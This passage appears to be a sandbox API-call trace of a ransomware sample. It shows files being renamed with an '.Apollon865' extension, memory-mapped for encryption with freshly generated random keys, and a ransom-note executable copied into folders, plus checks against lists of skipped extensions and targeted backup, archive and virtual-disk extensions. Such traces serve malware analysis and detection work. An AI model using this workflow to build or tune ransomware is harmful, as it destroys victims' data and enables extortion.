	[0073.496] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.496] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1180, lpName=0x0) returned 0xc0
	[0073.500] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1180) returned 0x100000
	[0073.500] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf5f0) returned 1
	[0073.501] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.501] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.501] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0073.502] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml.Apollon865") returned 90
	[0073.502] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.503] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3608) returned 1
	[0073.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0073.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.503] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf5f0) returned 1
	[0073.504] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.504] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.504] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0xc0
	[0073.505] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000
	[0073.506] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf5f0) returned 1
	[0073.507] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.507] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.507] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0073.507] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml.Apollon865") returned 88
	[0073.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.509] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3817) returned 1
	[0073.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0073.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.509] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf5f0) returned 1
	[0073.510] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.510] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.510] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11f0, lpName=0x0) returned 0xc0
	[0073.511] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11f0) returned 0x100000
	[0073.512] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf5f0) returned 1
	[0073.513] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.513] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.513] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0073.513] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml.Apollon865") returned 87
	[0073.513] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.514] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3603) returned 1
	[0073.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0073.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.514] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf5f0) returned 1
	[0073.515] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.515] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.515] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0xc0
	[0073.517] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000
	[0073.517] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf5f0) returned 1
	[0073.518] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.518] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.518] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0073.518] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml.Apollon865") returned 86
	[0073.519] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.520] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3839) returned 1
	[0073.520] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0073.520] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.520] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.520] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf5f0) returned 1
	[0073.520] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.520] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.521] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200, lpName=0x0) returned 0x100
	[0073.525] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1200) returned 0x100000
	[0073.525] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf5f0) returned 1
	[0073.526] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.526] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.526] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0073.527] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml.Apollon865") returned 84
	[0073.527] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.528] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3616) returned 1
	[0073.528] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0073.528] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.528] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.528] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf5f0) returned 1
	[0073.529] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.529] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.529] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0xc0
	[0073.531] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000
	[0073.531] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf5f0) returned 1
	[0073.532] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.532] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.532] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0073.532] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml.Apollon865") returned 85
	[0073.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.534] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3609) returned 1
	[0073.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0073.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.534] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf5f0) returned 1
	[0073.535] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.535] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.535] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x100
	[0073.537] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000
	[0073.537] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf5f0) returned 1
	[0073.538] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.538] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.538] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0073.539] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml.Apollon865") returned 85
	[0073.539] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.540] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3604) returned 1
	[0073.540] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0073.540] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.540] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.540] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf5f0) returned 1
	[0073.541] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.541] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.541] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x100
	[0073.542] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000
	[0073.543] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf5f0) returned 1
	[0073.544] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.544] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.544] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0073.544] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml.Apollon865") returned 88
	[0073.544] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.545] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3577) returned 1
	[0073.545] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0073.546] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.546] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.546] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf5f0) returned 1
	[0073.546] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.546] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.547] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1100, lpName=0x0) returned 0x100
	[0073.548] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1100) returned 0x100000
	[0073.548] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf5f0) returned 1
	[0073.549] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.549] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.549] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0073.550] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects"
	[0073.550] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects" | out: lpString1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects"
	[0073.550] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0073.550] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0073.554] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0073.554] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x43e905b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43e905b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0073.555] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.555] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0073.556] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Adjacency.eftx" | out: lpString1="Adjacency.eftx") returned="Adjacency.eftx"
	[0073.556] lstrlenW (lpString="Adjacency.eftx") returned 14
	[0073.556] lstrlenW (lpString="Apollon865") returned 10
	[0073.556] lstrcmpiW (lpString1="cency.eftx", lpString2="Apollon865") returned 1
	[0073.556] lstrlenW (lpString=".dll") returned 4
	[0073.556] lstrcmpiW (lpString1="Adjacency.eftx", lpString2=".dll") returned 1
	[0073.556] lstrlenW (lpString=".lnk") returned 4
	[0073.556] lstrcmpiW (lpString1="Adjacency.eftx", lpString2=".lnk") returned 1
	[0073.556] lstrlenW (lpString=".ini") returned 4
	[0073.556] lstrcmpiW (lpString1="Adjacency.eftx", lpString2=".ini") returned 1
	[0073.556] lstrlenW (lpString=".sys") returned 4
	[0073.556] lstrcmpiW (lpString1="Adjacency.eftx", lpString2=".sys") returned 1
	[0073.556] lstrlenW (lpString="Adjacency.eftx") returned 14
	[0073.556] lstrlenW (lpString="bak") returned 3
	[0073.557] lstrcmpiW (lpString1="ftx", lpString2="bak") returned 1
	[0073.557] lstrlenW (lpString="ba_") returned 3
	[0073.557] lstrcmpiW (lpString1="ftx", lpString2="ba_") returned 1
	[0073.557] lstrlenW (lpString="dbb") returned 3
	[0073.557] lstrcmpiW (lpString1="ftx", lpString2="dbb") returned 1
	[0073.557] lstrlenW (lpString="vmdk") returned 4
	[0073.557] lstrcmpiW (lpString1="eftx", lpString2="vmdk") returned -1
	[0073.557] lstrlenW (lpString="rar") returned 3
	[0073.557] lstrcmpiW (lpString1="ftx", lpString2="rar") returned -1
	[0073.557] lstrlenW (lpString="zip") returned 3
	[0073.557] lstrcmpiW (lpString1="ftx", lpString2="zip") returned -1
	[0073.557] lstrlenW (lpString="tgz") returned 3
	[0073.557] lstrcmpiW (lpString1="ftx", lpString2="tgz") returned -1
	[0073.557] lstrlenW (lpString="vbox") returned 4
	[0073.557] lstrcmpiW (lpString1="eftx", lpString2="vbox") returned -1
	[0073.557] lstrlenW (lpString="vdi") returned 3
	[0073.557] lstrcmpiW (lpString1="ftx", lpString2="vdi") returned -1
	[0073.557] lstrlenW (lpString="vhd") returned 3
	[0073.557] lstrcmpiW (lpString1="ftx", lpString2="vhd") returned -1
	[0073.557] lstrlenW (lpString="vhdx") returned 4
	[0073.557] lstrcmpiW (lpString1="eftx", lpString2="vhdx") returned -1
	[0073.557] lstrlenW (lpString="avhd") returned 4
